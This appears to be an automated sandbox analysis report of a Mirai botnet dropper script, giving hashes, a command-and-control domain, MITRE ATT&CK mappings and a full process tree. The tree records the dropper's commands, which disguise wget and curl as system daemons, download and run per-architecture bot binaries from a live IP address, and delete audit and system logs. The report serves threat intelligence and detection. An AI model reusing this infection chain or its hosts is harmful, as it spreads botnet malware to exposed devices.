mirai | f495ac84e4181503f0e6e4e21728a0cb82c7e9a3f6e1e54741f6eaf589aea82e

Analysis

max time kernel
148s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21/08/2024, 17:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

tplink.sh
Size

827B
MD5

503a6790064c0d8afb7220d7ff4d559d
SHA1

c00a805062e7a6274dde96063d42065ba2286085
SHA256

f495ac84e4181503f0e6e4e21728a0cb82c7e9a3f6e1e54741f6eaf589aea82e
SHA512

6c7ab7e8cf0b5b07b1c9cae94e4631e3fab493366d80d9946ba75a11897d8dfe658dcd96fd26d04c3b85a87786aa0656293e331a2b436b018547634c0dd45e37

Score

10^/10

mirai botnet evasion

Malware Config

Extracted

Family

mirai

really.idoingitagain.space

Extracted

Family

mirai

really.idoingitagain.space

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Deletes Audit logs 1 TTPs 1 IoCs

Deletes logs related to the Linux Audit framework.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/audit/audit.log	cyber-x86

Deletes journal logs 1 TTPs 1 IoCs

Deletes systemd journal logs. Likely to evade detection.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/journal/11c67417355f45d397f6be11f62e85a6/system.journal	cyber-x86

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/syslog	cyber-x86

Executes dropped EXE 29 IoCs

ioc	pid	Process
/tmp/httpd	1525	httpd
/tmp/httpd	1527	httpd
/tmp/httpd	1529	httpd
/tmp/httpd	1531	httpd
/tmp/httpd	1533	httpd
/tmp/httpd	1535	httpd
/tmp/httpd	1542	httpd
/tmp/httpd	1544	httpd
/tmp/httpd	1546	httpd
/tmp/sshd	1547	sshd
/tmp/cyber-x86	1550	cyber-x86
/tmp/sshd	1552	sshd
/tmp/cyber-sh4	1557	cyber-sh4
/tmp/sshd	1558	sshd
/tmp/cyber-ppc	1562	cyber-ppc
/tmp/sshd	1563	sshd
/tmp/cyber-mpsl	1567	cyber-mpsl
/tmp/sshd	1568	sshd
/tmp/cyber-mips	1572	cyber-mips
/tmp/sshd	1573	sshd
/tmp/cyber-m68k	1577	cyber-m68k
/tmp/sshd	1578	sshd
/tmp/cyber-arm7	1582	cyber-arm7
/tmp/sshd	1583	sshd
/tmp/cyber-arm6	1587	cyber-arm6
/tmp/sshd	1588	sshd
/tmp/cyber-arm5	1592	cyber-arm5
/tmp/sshd	1593	sshd
/tmp/cyber-arm4	1597	cyber-arm4

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	cyber-x86
File opened for modification	/dev/misc/watchdog	cyber-x86

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1550	cyber-x86

Reads CPU attributes 1 TTPs 18 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	httpd

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/203/status	pkill
File opened for reading	/proc/17/status	httpd
File opened for reading	/proc/1266/status	httpd
File opened for reading	/proc/23/status	httpd
File opened for reading	/proc/1192/cmdline	pkill
File opened for reading	/proc/1090/status	httpd
File opened for reading	/proc/164/status	httpd
File opened for reading	/proc/906/cmdline	httpd
File opened for reading	/proc/173/cmdline	httpd
File opened for reading	/proc/460/status	pkill
File opened for reading	/proc/1335/status	pkill
File opened for reading	/proc/83/cmdline	httpd
File opened for reading	/proc/960/cmdline	httpd
File opened for reading	/proc/1195/cmdline	pkill
File opened for reading	/proc/159/status	httpd
File opened for reading	/proc/1042/status	pkill
File opened for reading	/proc/1298/cmdline	pkill
File opened for reading	/proc/965/cmdline	pkill
File opened for reading	/proc/1233/cmdline	pkill
File opened for reading	/proc/204/cmdline	httpd
File opened for reading	/proc/1249/status	httpd
File opened for reading	/proc/1202/cmdline	pkill
File opened for reading	/proc/22/cmdline	httpd
File opened for reading	/proc/1195/cmdline	httpd
File opened for reading	/proc/1280/cmdline	pkill
File opened for reading	/proc/1511/status	httpd
File opened for reading	/proc/8/cmdline	httpd
File opened for reading	/proc/460/status	httpd
File opened for reading	/proc/477/status	httpd
File opened for reading	/proc/1173/cmdline	httpd
File opened for reading	/proc/969/cmdline	pkill
File opened for reading	/proc/164/cmdline	httpd
File opened for reading	/proc/449/status	httpd
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/14/cmdline	httpd
File opened for reading	/proc/1249/cmdline	httpd
File opened for reading	/proc/472/status	pkill
File opened for reading	/proc/472/status	pkill
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/956/cmdline	pkill
File opened for reading	/proc/606/status	httpd
File opened for reading	/proc/1202/cmdline	httpd
File opened for reading	/proc/1249/status	pkill
File opened for reading	/proc/451/cmdline	pkill
File opened for reading	/proc/168/cmdline	pkill
File opened for reading	/proc/11/cmdline	httpd
File opened for reading	/proc/1317/cmdline	httpd
File opened for reading	/proc/98/status	pkill
File opened for reading	/proc/8/status	httpd
File opened for reading	/proc/160/status	httpd
File opened for reading	/proc/6/cmdline	httpd
File opened for reading	/proc/1350/status	pkill
File opened for reading	/proc/723/status	pkill
File opened for reading	/proc/960/status	pkill
File opened for reading	/proc/165/cmdline	httpd
File opened for reading	/proc/458/cmdline	httpd
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/169/status	httpd
File opened for reading	/proc/9/status	httpd
File opened for reading	/proc/1298/status	pkill
File opened for reading	/proc/1505/status	httpd
File opened for reading	/proc/166/status	httpd
File opened for reading	/proc/1066/status	pkill

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/telnetd	cp
File opened for modification	/tmp/cyber-arm6	sshd
File opened for modification	/tmp/cyber-arm5	sshd
File opened for modification	/tmp/cyber-arm4	sshd
File opened for modification	/tmp/cyber-x86	sshd
File opened for modification	/tmp/cyber-arm7	sshd
File opened for modification	/tmp/cyber-sh4	sshd
File opened for modification	/tmp/cyber-mpsl	sshd
File opened for modification	/tmp/httpd	cp
File opened for modification	/tmp/sshd	cp
File opened for modification	/tmp/cyber-ppc	sshd
File opened for modification	/tmp/cyber-mips	sshd
File opened for modification	/tmp/cyber-m68k	sshd

/tmp/tplink.sh
/tmp/tplink.sh
1⤵
PID:1514
- /bin/cp
  cp -p /usr/bin/pkill httpd
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/cp
  cp -p /usr/bin/wget sshd
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/cp
  cp -p /usr/bin/curl telnetd
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x httpd
  2⤵
  PID:1518
- /bin/chmod
  chmod 777 httpd
  2⤵
  PID:1519
- /bin/chmod
  chmod +x sshd
  2⤵
  PID:1520
- /bin/chmod
  chmod 777 sshd
  2⤵
  PID:1521
- /bin/chmod
  chmod +x telnetd
  2⤵
  PID:1522
- /bin/chmod
  chmod 777 telnetd
  2⤵
  PID:1523
- /usr/bin/pkill
  pkill -f bot.x86
  2⤵
  - Reads CPU attributes
  PID:1524
- /tmp/httpd
  ./httpd -f bot.x86
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1525
- /usr/bin/pkill
  pkill -f bot.arm4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1526
- /tmp/httpd
  ./httpd -f bot.arm4
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1527
- /usr/bin/pkill
  pkill -f bot.arm5
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1528
- /tmp/httpd
  ./httpd -f bot.arm5
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1529
- /usr/bin/pkill
  pkill -f bot.arm6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1530
- /tmp/httpd
  ./httpd -f bot.arm6
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1531
- /usr/bin/pkill
  pkill -f bot.arm7
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1532
- /tmp/httpd
  ./httpd -f bot.arm7
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1533
- /usr/bin/pkill
  pkill -f x86
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1534
- /tmp/httpd
  ./httpd -f x86
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1535
- /usr/bin/pkill
  pkill -f arm5
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1541
- /tmp/httpd
  ./httpd -f arm5
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1542
- /usr/bin/pkill
  pkill -f arm6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1543
- /tmp/httpd
  ./httpd -f arm6
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1544
- /usr/bin/pkill
  pkill -f arm7
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1545
- /tmp/httpd
  ./httpd -f arm7
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:1546
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-x86
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod 777 cyber-x86
  2⤵
  PID:1548
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1549
- /tmp/cyber-x86
  ./cyber-x86 tplink-x86
  2⤵
  - Deletes Audit logs
  - Deletes journal logs
  - Deletes system logs
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1550
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-sh4
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod 777 cyber-sh4
  2⤵
  PID:1554
- /bin/chmod
  chmod +x cyber-sh4
  2⤵
  PID:1555
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1556
- /tmp/cyber-sh4
  ./cyber-sh4 tplink-sh4
  2⤵
  - Executes dropped EXE
  PID:1557
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-ppc
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod 777 cyber-ppc
  2⤵
  PID:1559
- /bin/chmod
  chmod +x cyber-ppc
  2⤵
  PID:1560
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1561
- /tmp/cyber-ppc
  ./cyber-ppc tplink-ppc
  2⤵
  - Executes dropped EXE
  PID:1562
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-mpsl
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod 777 cyber-mpsl
  2⤵
  PID:1564
- /bin/chmod
  chmod +x cyber-mpsl
  2⤵
  PID:1565
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1566
- /tmp/cyber-mpsl
  ./cyber-mpsl tplink-mpsl
  2⤵
  - Executes dropped EXE
  PID:1567
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-mips
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod 777 cyber-mips
  2⤵
  PID:1569
- /bin/chmod
  chmod +x cyber-mips
  2⤵
  PID:1570
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1571
- /tmp/cyber-mips
  ./cyber-mips tplink-mips
  2⤵
  - Executes dropped EXE
  PID:1572
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-m68k
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod 777 cyber-m68k
  2⤵
  PID:1574
- /bin/chmod
  chmod +x cyber-m68k
  2⤵
  PID:1575
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1576
- /tmp/cyber-m68k
  ./cyber-m68k tplink-m68k
  2⤵
  - Executes dropped EXE
  PID:1577
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm7
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod 777 cyber-arm7
  2⤵
  PID:1579
- /bin/chmod
  chmod +x cyber-arm7
  2⤵
  PID:1580
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1581
- /tmp/cyber-arm7
  ./cyber-arm7 tplink-arm7
  2⤵
  - Executes dropped EXE
  PID:1582
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm6
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1583
- /bin/chmod
  chmod 777 cyber-arm6
  2⤵
  PID:1584
- /bin/chmod
  chmod +x cyber-arm6
  2⤵
  PID:1585
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1586
- /tmp/cyber-arm6
  ./cyber-arm6 tplink-arm6
  2⤵
  - Executes dropped EXE
  PID:1587
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm5
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod 777 cyber-arm5
  2⤵
  PID:1589
- /bin/chmod
  chmod +x cyber-arm5
  2⤵
  PID:1590
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1591
- /tmp/cyber-arm5
  ./cyber-arm5 tplink-arm5
  2⤵
  - Executes dropped EXE
  PID:1592
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm4
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1593
- /bin/chmod
  chmod 777 cyber-arm4
  2⤵
  PID:1594
- /bin/chmod
  chmod +x cyber-arm4
  2⤵
  PID:1595
- /bin/chmod
  chmod +x config-err-9gUEVa cyber-x86 httpd netplan_dmdk49qg snap-private-tmp ssh-bxVkkdE5R68S sshd systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-l83XP6 telnetd tplink.sh
  2⤵
  PID:1596
- /tmp/cyber-arm4
  ./cyber-arm4 tplink-arm4
  2⤵
  - Executes dropped EXE
  PID:1597

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/cyber-arm4

Filesize
3KB

MD5
ac40f906f723b9878f1f3cd1d7ec5391

SHA1
2ce9f504e85a0d0f6a43e9d0460a11acbe7548ba

SHA256
de59d678103fda698dccacd599cbd123e6f6d4abf65e284825450f5c738f2345

SHA512
2358b910ed8535a5bb7d52cf0f9ec2d2e294ca7da77a972eab2e816af8b21b51608db5208f66ba9368cb1292dfa6a629e0832c4d069f7caa8eccd53a0012f23f

Download Submit
/tmp/cyber-arm4

Filesize
69KB

MD5
a30f9e84df986ed13a738dddd2c0fd44

SHA1
d3eb37cd274991644903661d40e32cd48707b4a5

SHA256
8d2a4319fada6e30ab301df546687b400c2e9838cd40cd71b4b17fd970e32c49

SHA512
dfc96af6f2f87b2840b3c3a3e8b0ea45b6a57e9e38e0e64dfb006e19602f3f81c6f8d54c516e8e6afa7f6d5001aa18f29ff97a7887781263461c9699130837d1

Download Submit
/tmp/cyber-arm5

Filesize
1KB

MD5
705437a044ba0ea4f13af92cd88d833d

SHA1
f398dbbae1d9eb74d15f16b79a9204b38df0cada

SHA256
0afa3adcd635c78e1b67f08f59af44a9f1ab323ea65b6d45b1f27dc834e9a025

SHA512
53485c91521b4a858cd5c930831148eea1c0e77508a8548c2dc981a3699b39818a9c93a330592ed8065f001afb2929884fab5b257577b50c8a8e09fcd1722f81

Download Submit
/tmp/cyber-arm5

Filesize
85KB

MD5
8eac5166c0af8d5fcebf372bdeb6e596

SHA1
a4492494b5efd6db6b75838adaa126f22e91358b

SHA256
66f27ba4562c74472ef6ecd2e9a1fc2fa4e52dc177579183bd4da81902cb7cdc

SHA512
1bb41b51f83cdf800caf6bd8e770fb003fca0ff39b4c531ce608677518375a0cc982f6dd28faf99ed92eb05462a10624914600c8d4d15ea772384654fe2e781d

Download Submit
/tmp/cyber-arm6

Filesize
2KB

MD5
a7cf98def44a0faefae4b500ea8695d4

SHA1
e998c9a61c4e7445591fabbe9ec4682f6eedaf98

SHA256
b92e411feefe36087a945323b7094f6d202f769b0c5befdfd73c2ca8c025ae83

SHA512
127cb8bdfdecfd833edb810686d2431d38b2d0e96fa2aabf090b193b6500b0f20b93148cf77ddc86d9aadaca530183c65ad5b63214c34c570d7e0129c84185fa

Download Submit
/tmp/cyber-arm6

Filesize
85KB

MD5
b4e96256cf35956e8fa7279c93a632d8

SHA1
a128115d9db143d10b1242ce08c725f4d061a9d4

SHA256
7598391e81ff9b48c57abc851064a25789146c9020076acce17ee3337d902587

SHA512
ae9883179258a2e4df5d8a5e1d1f13c9aae906ecc79c36ab992061909e2497a5fc3d84e3a3c286d57bbd651fd16e2bdaa38a430c1446ba56bed14eb109af2c63

Download Submit
/tmp/cyber-arm7

Filesize
2KB

MD5
867cd1499bd09121d43041f878dddbd3

SHA1
b3c5347f874bd05f54c4b7c8f21ba752b56babd7

SHA256
3018f393cb828244ae55254c600ed9fcad700942ad352ab4e68342a973535508

SHA512
0b6030a4b6c7489bf33dd18e00354a0c5ef87515b1d9363ebbfcafefed7044b0bb9aa2c13714e979087b1d29009810ff4b6c32d2253051126b7a8b9e7f584e5a

Download Submit
/tmp/cyber-arm7

Filesize
138KB

MD5
a7e722a78cde5418c215d9783ae6077f

SHA1
185ccefe18287f10749860941baa4292057ced2b

SHA256
7b73bca080d3a29f69a175a54b24a3331c83b2d49afebf9c33cd9defebf4bb10

SHA512
8f3b6ac7fd42a17d6e278ecee6fb8abefb8d4856627327588e7f70c972fb3ffa16f466e20442592b8b851e94bb73b01d2a4735103e36b96bbf4717a4aeffab75

Download Submit
/tmp/cyber-m68k

Filesize
1KB

MD5
f7a4a8ca80364b4f049b79d075d9cd90

SHA1
e13390f4d32f456edd1b332dbbef602bfede085e

SHA256
e17de03fac0b85b1732ecc71fe48834ee0928c4175e19c88f82aabb5ca7c589a

SHA512
9ce05f9a321cf09f11d88d26c0e2dbbcfcabff1ae149f716a059d972db8ea5c0b5deb5d371b921b09315b610c5d634df0348675302d54036f30a5018f8cc4fd8

Download Submit
/tmp/cyber-m68k

Filesize
78KB

MD5
400a5a9e9fc468a80692e4f212190d94

SHA1
123af5d29b8bf120a8f28ba2180e72d65db7130a

SHA256
e6c159a8006ca64db4bdcb5a54d28872f0829c7ce9c5b1589ffbbd4579bd1475

SHA512
20d0d1fcd7c1a279f8b5df99340ecf764b20d3014a075fbde8dad64483bdcd20bc2e2c3d2e4d082698a4ca86d72c28924f427b8b7f145bbe1ba1e935277ef67b

Download Submit
/tmp/cyber-mips

Filesize
1KB

MD5
9f0b4866862869328271ba717053e1b4

SHA1
c78e336c5935831a13f43a05468f33aba1472579

SHA256
55810361e1d94c7e4cb4e972f8c675bc4170bbbfc3a6264a1af57d698235ecc6

SHA512
4b881b6499d816ffe9ecdd416cc4440feba23a75d13c0efa0ecc31513b7dbce37a514ee4b6642d28f6ec1f7386d24f6a4b707fe7eae5386d7edbd8250a603317

Download Submit
/tmp/cyber-mips

Filesize
95KB

MD5
902847f4f2db9c8827c8c5c68ae38228

SHA1
ddbf9a793b56fb901c156e928ed6df4474748bf2

SHA256
e2abf4ca1588791dab3953095eb65222d6ae3822a7d182b879cb8ff7c4a0dc1c

SHA512
6d1942435a8edaa2542d01038c71a77eb1385b234975a3dcbf63bc92b52e9418330b0d5a34afa6eabfd79d8b5f192f59a9806ab61ea4ab991ba65e165cc4823c

Download Submit
/tmp/cyber-mpsl

Filesize
97KB

MD5
ae9cb57a04344d8e9c594ab2c2532b4f

SHA1
95e6ed9c48d9d23de020754383d93d225d1e939e

SHA256
8c64d253db5c8a9e9e5f6616ce9074e76776b990d38dd31d9affaf3a907e6a3b

SHA512
54db797e73d6d846bb80ef31269a5657605844970c7ecdaaf2f9e0dd8bd58cdc0902fbb01c56f289e8a17d5dc325fbe5445897bb9c30f82511c07d151af034c8

Download Submit
/tmp/cyber-mpsl

Filesize
1KB

MD5
026c65a98253e70fdf5fcd62cbc13075

SHA1
2ba8db337cc0a6b25ae21ee2e3b186d155bf23d3

SHA256
8e576850077cac26dbdeae17d4d5627dd006ccf911991be0be2781f2f65e7122

SHA512
42bb4fcf363fe661ded38c05abc76f26bfa46b5b9db2aaae0746544b07b5c794d53c9ad9a3a9e6bca295fc1b247ef3b5b4ab7f9b7cfcd71143d718896fc13394

Download Submit
/tmp/cyber-ppc

Filesize
1KB

MD5
13a81aa2604063415166ea4b8e3ead03

SHA1
48c621a1bf731495381e391a53f99f01a76dee97

SHA256
72af44216e6e827e8135523a9f5fd6c79426a33ed97453b84d12f88a226bd140

SHA512
508454439866362fe29cbf117b19bb146e072d1a67050793f7c019706f0685e00a93c74df9d2ef586cf3834e7da4f1c24cd1f992d3102cacf940c06a9eaaf141

Download Submit
/tmp/cyber-ppc

Filesize
65KB

MD5
e3bd401651268860b6617c10657a0409

SHA1
a55ba36913ad8b42b9749f666aac9f0050572f94

SHA256
5a505da4f7f9354631eac8808d8e1a23b20ac67f1f5ee6249ffd4801e12ba20b

SHA512
50a1f66a388d0a1ea22451a806a3f1710faa0eeb01eeeaaa30c31a915ad27187f7916036f4844156d6ad686b0677460d7e2945edf5bf092538699d0ba2955c85

Download Submit
/tmp/cyber-sh4

Filesize
8KB

MD5
4629136078c6bc037952e87295c66a62

SHA1
3997ffc97c0fe33ff29dc2018fc4018249c0cd8d

SHA256
516827749ab17f0c7ba29134ddf43bc6c9faf21e211fbcfe634312fd3e3aab68

SHA512
9b6328799396eece366116064c97aaf202bb96cef6c0e57fbccff33bee45737fe6f438a307b4df50ed02f88ec9bed25d4e95b89e2c936818708c85fb8692badf

Download Submit
/tmp/cyber-sh4

Filesize
51KB

MD5
d7fb732e0a35a9aa3067b24f18a774ba

SHA1
40c7498375118a4f394262d6b775b0df675b655a

SHA256
6c030d7d4072b57950cf352047388f8d37d97d6309ca716e81cdd11823363448

SHA512
92390cc2739b8b579a2a699b9cd7ae7d1046f13f76e8f9a3b45e052d5f21c4381ec97c5f4519c715a92d991ca0abd926f336acb334108334e56aeda074eaf3fd

Download Submit
/tmp/cyber-x86

Filesize
61KB

MD5
3d574d6a4916704b337d76226d205abd

SHA1
80021cc1fc609bde17db484e58dece6a247ee11d

SHA256
df0f2131b26054328c7ae7428b6cc4d05967dfd334126a99d26660335c02eb0d

SHA512
e5a843ba13eeb9d83fd0a5b3d34cecfa449e6f9ba77cea1b8867b0fbf91c2d4bbc14f6e8cd27b5550622781b8b29ae0ac952c4ab4e7e4eb5f174a1fd2e24d5a9

Download Submit
/tmp/httpd

Filesize
26KB

MD5
ed77f834fd2c8c12a86189015990a20d

SHA1
212787dec01f5850c26d3ecc776c6669bf87884f

SHA256
607d268539f5073d67973cfac72f6ed116fee89f97ff0eb3f2ea60cbf3f168da

SHA512
4748549e4800a4671729c74a1a806b91241e41beea3f5334f7a166b968b68abcf9165e3ac55160cca88bcd2515930e645610f2858f01cdd846c200bfb75f62dc

Download Submit
/tmp/sshd

Filesize
487KB

MD5
c3d53e47e50f2f61016331da435b3764

SHA1
96b8ea5f95dcce5781a673bc9effe1bdb8e1756d

SHA256
0f2b21e911bd10d795a110af7901d7860228f63cf14594ecbfb397e66000b4ae

SHA512
790cf336231b7c7bb24037f62326643df1c030314085957d8bc06a4217395b49f49e50f9a503652ad2650f2cab642bd98bd34fd4df4ab8f02becaf262d2c148a

Download Submit
